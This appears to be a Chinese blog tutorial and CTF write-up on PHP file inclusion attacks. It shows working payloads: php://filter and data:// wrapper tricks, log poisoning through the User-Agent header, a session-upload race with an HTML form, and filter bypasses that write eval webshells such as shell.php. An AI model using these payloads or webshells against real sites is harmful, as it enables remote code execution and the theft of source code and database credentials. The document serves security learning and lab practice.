WEB攻防-PHP-文件包含
前面我们学习开发的时候,已经知道了文件包含是干啥的,通过把一些可重复使用的函数写在单独的文件中,通过include来引用文件,就无需再次编写了,这种调用文件的过程就叫做文件包含,但是如果调用文件的这个过程是可控的话,那么就会产生文件包含漏洞
我们简单的来写个例子
可以看到通过控制这个include参数来实现调用文件来执行,但是如果这里没有限制的话
即使是txt文件,他也会执行里面的代码,所以说这个其实非常危险,这个漏洞成因非常简单,就是使用了文件包含函数还有可控的包含文件。
然后这个文件包含也分两种
本地包含和远程包含
顾名思义本地包含就是直接引用本地文件来使用,远程包含就是引用别人的文件
比如说我这里用本地的一个服务器与访问我在阿里云服务器上的文件看看
正常来说现在高版本的配置文件里是默认关闭这个远程包含的,我们可以去php.ini里开启这个开关
也就是这个开关,把他打开
可以看到这样就远程的调用了我服务器的文件了,所以会造成什么危害呢
首先就是本地包含,本地包含的话你就只能实现它本地已有的文件的功能,如果说想进行渗透的话,肯定是不可能的哈
有文件利用的话就可以上传文件,然后包含恶意代码(这个要配合文件上传)
远程包含的话就不用说了,都自定义了已经,直接远程调用即可
无文件利用的话就是:
包含日志文件
包含session文件利用
伪协议利用
有文件的话就好说,重点来说说这个无文件
首先就介绍一下伪协议,伪协议在各个语言中都有的,这里先说php的
php://input 获取 POST 原始数据(如 JSON 提交) php://output 手动写入输出缓冲(代替 echo) php://temp 用作临时内存文件 data:// 内联嵌入小型文本或 base64 内容 filter:// 读取文件时自动过滤、编码转换 zip:// 无需解压即可读取压缩包内容 phar:// 加载打包后的 PHP 应用
当然肯定不止这些,这只是简单的例子
比如说用file读取文件
这是曾经我们留下过的痕迹哈,可以看到通过这个参数就直接访问到了这个文件,但是这个需要你输入绝对路径,不是很方便
还有一个可以用的是
php://filter/read=convert.base64-encode/resource=
他能直接读取到当前目录下的文件,不用你去找路径
解码之后就是你文本中的信息,如果说想读其他的文件的话,直接尝试往上走就知道了
然后就是读取文件php input
他可以执行代码,也可以写入文件
data://text/plain,<?php phpinfo();?>
还有一个就是data代码执行,和前面的input一样,都可以执行代码
所以说一般我们使用伪协议是为了读取写入和执行代码
这不就是我们说的无文件执行代码吗,通过自定义代码来实现没有文件也执行代码
我们来看看实例
具体为什么要这样就不说了,我们已知这里有一个文件包含的漏洞,现在我们抓包访问一下
你会发现通过这个访问的方式,对方直接把php源码全都返回了,发生甚么事了,那这样的话,你想看什么代码不就可以看什么代码了吗,首先我们查看一下index的代码
通过查看主页文件发现了他有一个data什么什么的文件,看着很像数据库连接文件,我们来访问看看
然后还真被你发现了数据库连接的信息,哇塞,好厉害哦,文件包含
然后这些就是黑盒的测试情况
再来说说白盒该怎么办,这种的话一般就是打ctf的时候会出现了,所以说们来找个ctf的题来看看
让我传入一个file,那我们先随便写一个
这样就看到了源码,但是我们不知道有什么文件,所以说是无文件包含,而无文件包含的话,最好用的还是伪协议,所以我们尝试用伪协议来做这道题,然后这下面提示了我们有这个falg在flag.php中,我们用前面用过的方法来读取,由于不知道路径,我们就直接用base那个方法读取
http://node7.anna.nssctf.cn:22460/?file=php://filter/read=convert.base64-encode/resource=flag.php
读取到了这个文件里的内容,然后我们再解密一下
这道题不就轻松解决了吗
接着看下一题
这里由于没有环境,暂时先用自己搞的丐版代替哈
可以看到这个跟上面那个差不多,但是新加了一个过滤,前面我们知道这个str_replace 过滤成三个问号,这时候有人要说了,我知道我知道,用别的php类型就可以绕过啦,但是这里不行,因为他是过滤成问号,导致还是会存在于语句中,还是会报错哈,然后大小写也不行,因为他是liunx服务器,他对大小写非常敏感,不能直接绕过
所以这里直接用代码执行来操作
首先测试发现可以执行代码,那么我们就直接先查看一下flag文档的位置,一般肯定都会在这个目录下的吧
因为这里我使用window复现的哈,所以说用的dir命令,现在我们就看到了这个php文件,但是不能直接访问,因为直接访问会过滤掉php,所以我们还是用base64访问(这里我恢复到liunx系统了,但是做法还是一样的,用ls查看目录即可)
然后通过cat查看flag文件输出flag
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
这样就绕过了限制,是不是很简单呢~
继续看下一个
现在他把data也过滤了,现在就要考虑别的方法了
但是文件读取和代码执行全都被过滤了,现在我们该怎么办呢,所以现在我们就要用一个新知识了
日志包含
每次我们访问网页的时候,他后台的日志都能看见我们干了啥,访问了啥网页,然后还有你这些攻击的payload也是看的见的
liunx系统的默认日志路径是
/var/log/nginx/access.log
然后访问看看
就可以看到当前的访问信息了,记录了时间和ua头,所以我们可以通过修改ua头来让他执行代码
可以看到我们修改ua头后他也会同样的记录再这里,所以我们现在来执行代码看看
然后你就会发现他返回了当前目录下的文件,然后我们用同样的办法再访问这个flag文件看看
这道题就解决咯,也是一种办法哈,同样的我们再看一下另一个关于这个日志包含的题目
这次又把冒号给过滤了
同样的我们先访问一下这个日志文件
同样的办法
所以说这个用这个修改ua头的话还是很好用的
既然说完了这个日志包含,现在我们再来看看session包含
前面开发的时候我们已经知道了session是个什么东西,在你访问网页的时候会在服务器目录里创建一个session文件来保存当前的用户信息,所以说其实跟日志差不多一样,也是通过访问这个文件来达成我们的目的
首先我们来看这个题,他把冒号和点好全部都过滤了,而我们的伪协议基本上全都要用上这符号,所以说现在该怎么办呢
我们知道了session基础后,现在就来利用这个PHP_SESSION_UPLOAD_PROGRESS来进行文件包含,因为他创建session文件的时候是随机命名的,所以我们要自定义session文件名,通过条件竞争访问这个文件,然后再通过里面的代码执行生成一个新的文件
之前我们登录的时候知道,这个seesion文件这个命名是随机的,但是我们可以通过抓包来固定这个文件的名称,现在我们来修改一下
不知道为啥这里只接受数字,但是效果是一样的
记录了当前的用户信息,通过这个例子,我们就明白了关于自定义文件名,并且把内容写入seesion的操作,所以我们现在通过自定义内容来生成一个后门来上传到服务器上
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>'?>
还记得我们之前在文件上传的时候用过的方法吧,跟那个差不多,把这个语句插入进session文件通过不断访问这个session文件来创建一个木马文件。
所以我们这里要通过一个自建的表单替换提交的网址来给服务器提交seesion文件
<!DOCTYPE html> <html> <body> <form action="https://dee50d90-5d2f-406d-b024-8a745855ef6e.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>'?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
通过这个表单来提交session文件
我们通过在数据包中添加:Cookie: PHPSESSID:mikuku来让他创建这个名字的文件
不过这里暂时做不了哈,没到靶场的时间,不能用条件竞争,暂时先空着了,但是操作就这样,后面用bp疯狂发包访问就好了
继续来看下一个
这个就是添加了一个url解码,其实添加了这个解码之后反而更好做了,因为他只会判断解码后浏览器当前的格式,但是如过我们添加两层编码的话,浏览器解码一次之后还是个编码形态,就直接绕过了他这个过滤
?file=php://filter/write=convert.base64-decode/resource=789.php
比如说我们用这个先测试一下
首先只编码一次的话
你会发现他一次解码之后还是能识别到这个php,所以我们就来加密两层
然后就会发现绕过了,然后根据代码提供POST参数
上传发现只接受67位的值,所以我们要加两个aa来占位置
可以看到现在我们就成功的上传了。现在来访问一下看看
现在就可以通过这个文件来传入参数了,我们在文件中定义的是a,现在来尝试一下执行命令
这里其实用webshell或者直接执行命令都可以哈,既然发现了flag文件,我们就访问
解题成功
继续下一个
可以看到现在他直接是把常用的符号全给我ban了,呜呜呜太坏力,不过既然只过滤了php,那我直接用data协议开日哈
可以直接用我们前面的思路
data://text/plain;base64,
但是有一个要注意的点,常规的base64编码肯定会带上=号的,但是他这里过滤了所以说会导致执行失败、
所以我们不能直接这样执行,所以我们要尝试没有等号的加密
然后我们执行
他成功传入了,这时候我们再来查看一下看看
依旧成功哈
最后一题就直接是把我们常规的手段全部ban掉了,所以我们现在要使用别的加密方法,但是他没有过滤php,所以我们用别的加密传入一个php文件
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=heike.php
这个加密自行网上搜索哈,然后把我们要写入的参数也用这个加密一下,绕过他的限制
<?php $re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>'); echo $re; ?>
通过这个把要执行的代码加密一下
得到加密
?<hp pe@av(l_$EG[T]1;)>?
然后通过post传入这个文件
依旧日穿哈
到这里文件包含的差不多就结束了哈,中间虽然出了点小意外,但是还是没有问题哈,差不多就这几种类型的
未完待续~~~
